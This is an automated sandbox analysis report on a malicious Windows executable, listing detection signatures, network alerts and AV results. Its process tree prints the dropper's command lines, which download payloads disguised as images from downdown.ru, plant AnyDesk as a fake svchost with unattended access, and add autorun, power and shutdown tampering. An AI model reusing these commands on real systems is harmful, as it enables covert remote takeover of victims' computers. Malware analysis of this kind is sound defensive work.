Edit tour

Windows Analysis Report
Yv24LkKBY6.exe

Overview

General Information

Sample name:	Yv24LkKBY6.exe
Analysis ID:	1588958
MD5:	f0aba799546b1ce04037793579de3c94
SHA1:	3477b56ece979666e4b094534e074f39d52545fe
SHA256:	de998bd26ea326e610cc70654499cebfd594cc973438ac421e4c7e1f3b887617
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Powershell download and execute

Allocates memory in foreign processes

Creates files in the system32 config directory

Disables DEP (Data Execution Prevention) for certain images

Downloads files with wrong headers with respect to MIME Content-Type

Drops PE files with benign system names

Found stalling execution ending in API Sleep call

Hides that the sample has been downloaded from the Internet (zone.identifier)

Installs a global get message hook

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Modifies Group Policy settings

Modifies power options to not sleep / hibernate

Queries memory information (via WMI often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: System File Execution Location Anomaly

Uses cmd line tools excessively to alter registry or file data

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Uses powercfg.exe to modify the power settings

Uses schtasks.exe or at.exe to add and modify task schedules

Uses shutdown.exe to shutdown or reboot the system

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Installs a global mouse hook

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Execution of Shutdown

Sigma detected: Uncommon Svchost Parent Process

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64native

Yv24LkKBY6.exe (PID: 5908 cmdline: "C:\Users\user\Desktop\Yv24LkKBY6.exe" MD5: F0ABA799546B1CE04037793579DE3C94)

AcroRd32.exe (PID: 2296 cmdline: "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Intel\ 131.pdf" MD5: 6791EAE6124B58F201B32F1F6C3EC1B0)

cmd.exe (PID: 4152 cmdline: "C:\Windows\System32\cmd.exe" /c echo>C:\Intel\rezet.cmd cd C:\Intel\ MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

attrib.exe (PID: 2508 cmdline: "C:\Windows\System32\attrib.exe" +s +h C:\Intel MD5: 0E938DD280E83B1596EC6AA48729C2B0)

conhost.exe (PID: 2120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 6888 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd ping -n 6 127.0.0.1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 7392 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 1268 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 6432 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 5796 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 8036 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5392 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 6320 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 2816 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 4152 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd start C:\Intel\Trays\Trays.lnk MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1572 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 2508 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd svchost.exe --install C:\Intel\AnyDesk MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 6888 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 2244 cmdline: "C:\Windows\System32\cmd.exe" /c echo>>C:\Intel\rezet.cmd C:\Intel\AnyDesk\bat.lnk MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 6028 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Intel\rezet.cmd" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

PING.EXE (PID: 8052 cmdline: ping -n 6 127.0.0.1 MD5: B3624DD758CCECF93A1226CEF252CA12)

curl.exe (PID: 4108 cmdline: C:\Intel\curl.exe -o C:\Intel\driver.exe http://downdown.ru/driver.jpg MD5: 9542F4AC0CAEFA766BD67BA879ED2DD4)

curl.exe (PID: 6188 cmdline: C:\Intel\curl.exe -o C:\Intel\blat.exe http://downdown.ru/blat.jpg MD5: 9542F4AC0CAEFA766BD67BA879ED2DD4)

curl.exe (PID: 6632 cmdline: C:\Intel\curl.exe -o C:\Intel\svchost.exe http://downdown.ru/svchost.jpg MD5: 9542F4AC0CAEFA766BD67BA879ED2DD4)

curl.exe (PID: 3588 cmdline: C:\Intel\curl.exe -o C:\Intel\Trays.rar http://downdown.ru/Trays.jpg MD5: 9542F4AC0CAEFA766BD67BA879ED2DD4)

curl.exe (PID: 1956 cmdline: C:\Intel\curl.exe -o C:\Intel\AnyDesk\wol.ps1 http://downdown.ru/wol.jpg MD5: 9542F4AC0CAEFA766BD67BA879ED2DD4)

curl.exe (PID: 7956 cmdline: C:\Intel\curl.exe -o C:\Intel\dc.exe http://downdown.ru/dc.jpg MD5: 9542F4AC0CAEFA766BD67BA879ED2DD4)

driver.exe (PID: 1904 cmdline: C:\Intel\driver.exe x -r -ep2 -hplimpid2903392 C:\Intel\Trays.rar C:\Intel\ /y MD5: 29086D9247FDF40452563C11B3DCA394)

Trays.exe (PID: 2476 cmdline: "C:\Intel\Trays\Trays.exe" -tray MD5: 90D208B856DEA18596D57FFB1DD3A867)

4t-min64.exe (PID: 2020 cmdline: "C:\Intel\Trays\4t-min64.exe" "C:\Intel\Trays\ShellEh6055x64.dll" MD5: 7BC3AEEDC18717D796F1C7FF8DBF0C17)

svchost.exe (PID: 7000 cmdline: svchost.exe --install C:\Intel\AnyDesk MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

svchost.exe (PID: 3588 cmdline: "C:\Intel\svchost.exe" --local-service MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

svchost.exe (PID: 3440 cmdline: "C:\Intel\svchost.exe" --local-control MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

curl.exe (PID: 6064 cmdline: C:\Intel\curl.exe -o C:\Intel\AnyDesk\bat.bat http://downdown.ru/bat.jpg MD5: 9542F4AC0CAEFA766BD67BA879ED2DD4)

cmd.exe (PID: 7916 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Intel\AnyDesk\bat.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 948 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo QWERTY1234566 " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

AnyDesk.exe (PID: 808 cmdline: AnyDesk.exe --set-password _unattended_access MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

dc.exe (PID: 7224 cmdline: C:\Intel\dc.exe /D MD5: 139464919440E93E49C80CC890B90585)

dc.exe (PID: 2444 cmdline: "C:\Intel\dc.exe" /SYS 1 MD5: 139464919440E93E49C80CC890B90585)

powercfg.exe (PID: 7488 cmdline: powercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0 MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

powercfg.exe (PID: 4628 cmdline: powercfg -change -standby-timeout-ac 0 MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

powercfg.exe (PID: 480 cmdline: powercfg -change -hibernate-timeout-ac 0 MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

powercfg.exe (PID: 7956 cmdline: powercfg -h off MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

powercfg.exe (PID: 2380 cmdline: powercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1 MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

powercfg.exe (PID: 6592 cmdline: powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1 MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

schtasks.exe (PID: 7720 cmdline: schtasks /create /tn "ShutdownAt5AM" /tr "shutdown /s /f /t 0" /sc daily /st 05:00 MD5: 478BEAEC1C3A9417272BC8964ADD1CEE)

powershell.exe (PID: 7464 cmdline: Powershell.exe -executionpolicy remotesigned -File C:\Intel\AnyDesk\wol.ps1 MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

AnyDesk.exe (PID: 2596 cmdline: "C:\Intel\AnyDesk\AnyDesk.exe" --service MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

AnyDesk.exe (PID: 2728 cmdline: "C:\Intel\AnyDesk\AnyDesk.exe" --control MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

AnyDesk.exe (PID: 7952 cmdline: "C:\Intel\AnyDesk\AnyDesk.exe" --new-install MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

AnyDesk.exe (PID: 7876 cmdline: "C:\Intel\AnyDesk\AnyDesk.exe" --crash-handler MD5: 39F35F94DB3D8CD6B2811D1A5C4E5BDA)

svchost.exe (PID: 6400 cmdline: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc MD5: F586835082F632DC8D9404D83BC16316)

svchost.exe (PID: 4584 cmdline: C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc MD5: F586835082F632DC8D9404D83BC16316)

svchost.exe (PID: 3380 cmdline: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum MD5: F586835082F632DC8D9404D83BC16316)

svchost.exe (PID: 4112 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon MD5: F586835082F632DC8D9404D83BC16316)

svchost.exe (PID: 8 cmdline: C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc MD5: F586835082F632DC8D9404D83BC16316)

shutdown.exe (PID: 3396 cmdline: C:\Windows\system32\shutdown.EXE /s /f /t 0 MD5: F2A4E18DA72BB2C5B21076A5DE382A20)

conhost.exe (PID: 7860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

msedge.exe (PID: 7532 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" MD5: 40AAE14A5C86EA857FA6E5FED689C48E)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Intel\AnyDesk\bat.bat	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Intel\curl.exe, ProcessId: 6632, TargetFilename: C:\Intel\svchost.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: svchost.exe --install C:\Intel\AnyDesk, CommandLine: svchost.exe --install C:\Intel\AnyDesk, CommandLine|base64offset|contains: , Image: C:\Intel\svchost.exe, NewProcessName: C:\Intel\svchost.exe, OriginalFileName: C:\Intel\svchost.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Intel\rezet.cmd" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6028, ParentProcessName: cmd.exe, ProcessCommandLine: svchost.exe --install C:\Intel\AnyDesk, ProcessId: 7000, ProcessName: svchost.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Intel\Trays\trays.lnk, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Yv24LkKBY6.exe, ProcessId: 5908, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Video Configurations

Sigma detected: Suspicious Execution of Shutdown

Source: Process started

Author: frack113: Data: Command: C:\Windows\system32\shutdown.EXE /s /f /t 0, CommandLine: C:\Windows\system32\shutdown.EXE /s /f /t 0, CommandLine|base64offset|contains: , Image: C:\Windows\System32\shutdown.exe, NewProcessName: C:\Windows\System32\shutdown.exe, OriginalFileName: C:\Windows\System32\shutdown.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1424, ProcessCommandLine: C:\Windows\system32\shutdown.EXE /s /f /t 0, ProcessId: 3396, ProcessName: shutdown.exe

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: svchost.exe --install C:\Intel\AnyDesk, CommandLine: svchost.exe --install C:\Intel\AnyDesk, CommandLine|base64offset|contains: , Image: C:\Intel\svchost.exe, NewProcessName: C:\Intel\svchost.exe, OriginalFileName: C:\Intel\svchost.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Intel\rezet.cmd" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6028, ParentProcessName: cmd.exe, ProcessCommandLine: svchost.exe --install C:\Intel\AnyDesk, ProcessId: 7000, ProcessName: svchost.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: Powershell.exe -executionpolicy remotesigned -File C:\Intel\AnyDesk\wol.ps1, CommandLine: Powershell.exe -executionpolicy remotesigned -File C:\Intel\AnyDesk\wol.ps1, CommandLine|base64offset|contains: ^rbzh'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Intel\AnyDesk\bat.bat" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7916, ParentProcessName: cmd.exe, ProcessCommandLine: Powershell.exe -executionpolicy remotesigned -File C:\Intel\AnyDesk\wol.ps1, ProcessId: 7464, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Intel\svchost.exe" --local-service, CommandLine: "C:\Intel\svchost.exe" --local-service, CommandLine|base64offset|contains: hq~, Image: C:\Intel\svchost.exe, NewProcessName: C:\Intel\svchost.exe, OriginalFileName: C:\Intel\svchost.exe, ParentCommandLine: svchost.exe --install C:\Intel\AnyDesk, ParentImage: C:\Intel\svchost.exe, ParentProcessId: 7000, ParentProcessName: svchost.exe, ProcessCommandLine: "C:\Intel\svchost.exe" --local-service, ProcessId: 3588, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE Possible Rar'd Malware sent when remote host claims to send an Image

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:53:56.006785+0100	2008754	1	A Network Trojan was detected	185.125.51.5	80	192.168.11.20	49757	TCP

ET MALWARE Windows Executable Downloaded With Image Content-Type Header

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:53:49.151969+0100	2025169	1	A Network Trojan was detected	185.125.51.5	80	192.168.11.20	49754	TCP

ET MALWARE Windows executable sent when remote host claims to send an image M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:53:49.151969+0100	2025161	1	A Network Trojan was detected	185.125.51.5	80	192.168.11.20	49754	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Yv24LkKBY6.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://downdown.ru/driver.jpg	Avira URL Cloud: Label: malware
Source: http://downdown.ru/blat.jpg	Avira URL Cloud: Label: malware
Source: http://downdown.ru/svchost.jpg	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Intel\AnyDesk\AnyDesk.exe	Avira: detection malicious, Label: TR/Agent.nyvag
Source: C:\Intel\svchost.exe	Avira: detection malicious, Label: TR/Agent.nyvag

Multi AV Scanner detection for dropped file

Source: C:\Intel\AnyDesk\AnyDesk.exe	ReversingLabs: Detection: 50%
Source: C:\Intel\dc.exe	ReversingLabs: Detection: 50%
Source: C:\Intel\svchost.exe	ReversingLabs: Detection: 50%

Multi AV Scanner detection for submitted file

Source: Yv24LkKBY6.exe	Virustotal: Detection: 64%			Perma Link
Source: Yv24LkKBY6.exe	ReversingLabs: Detection: 55%

Machine Learning detection for sample

Source: Yv24LkKBY6.exe

Joe Sandbox ML: detected

Source: Yv24LkKBY6.exe, 00000000.00000003.20214750806.0000000002840000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_c3d5e25a-9

Source: Yv24LkKBY6.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\license.txt
Source: C:\Intel\driver.exe	File created: C:\Intel\Trays\readme.txt

Source: unknown	HTTPS traffic detected: 57.129.37.157:443 -> 192.168.11.20:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 57.129.37.157:443 -> 192.168.11.20:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 160.202.165.71:443 -> 192.168.11.20:49766 version: TLS 1.2

Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-32\privacy_feature\privacy_feature.pdb source: svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.20533988415.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000002.20486832706.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Users\peter\Documents\GitHub\curl-for-windows\out\x86\Release\curl.x86.pdb] source: Yv24LkKBY6.exe, 00000000.00000003.20214750806.0000000002840000.00000004.00001000.00020000.00000000.sdmp, curl.exe, 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000022.00000000.20288732251.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000023.00000000.20311294063.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000023.00000002.20326280428.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000024.00000000.20328578801.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000024.00000002.20360446525.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000000.20362870597.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000002.20385779265.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000002.20394155958.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000000.20388028622.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000002.20416665272.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000000.20396813028.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000032.00000002.20546299739.00000000002DD000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\app-32\win_loader\AnyDesk.pdb source: svchost.exe, 0000002A.00000002.20535133705.000000000165A000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000002.20487521906.000000000165A000.00000002.00000001.01000000.00000009.sdmp, AnyDesk.exe, 00000036.00000000.20555806082.000000000165A000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-64\win_dwm\win_dwm.pdb source: svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.20533988415.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000002.20486832706.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-32\win_dwm\win_dwm.pdb source: svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.20533988415.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000002.20486832706.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Users\ashakhmut\Projects\anydesk\deps\win_system_id\build\win_system_id_dll.pdb source: svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.20533988415.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000002.20486832706.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\app-32\win_app\win_app.pdb source: svchost.exe, 0000002A.00000002.20532332395.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp, svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002C.00000002.20485530828.0000000000E4C000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Buildbot\ad-windows-32\build\release\dwm_dda-64\privacy_feature\privacy_feature.pdb source: svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.20533988415.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000002.20486832706.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: SAS.pdbR source: svchost.exe, 0000002A.00000003.20441959446.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.20533988415.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002C.00000002.20486832706.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Users\peter\Documents\GitHub\curl-for-windows\out\x86\Release\curl.x86.pdb source: Yv24LkKBY6.exe, 00000000.00000003.20214750806.0000000002840000.00000004.00001000.00020000.00000000.sdmp, curl.exe, 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000022.00000000.20288732251.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000023.00000000.20311294063.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000023.00000002.20326280428.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000024.00000000.20328578801.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000024.00000002.20360446525.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000000.20362870597.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000002.20385779265.00000000002DD000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 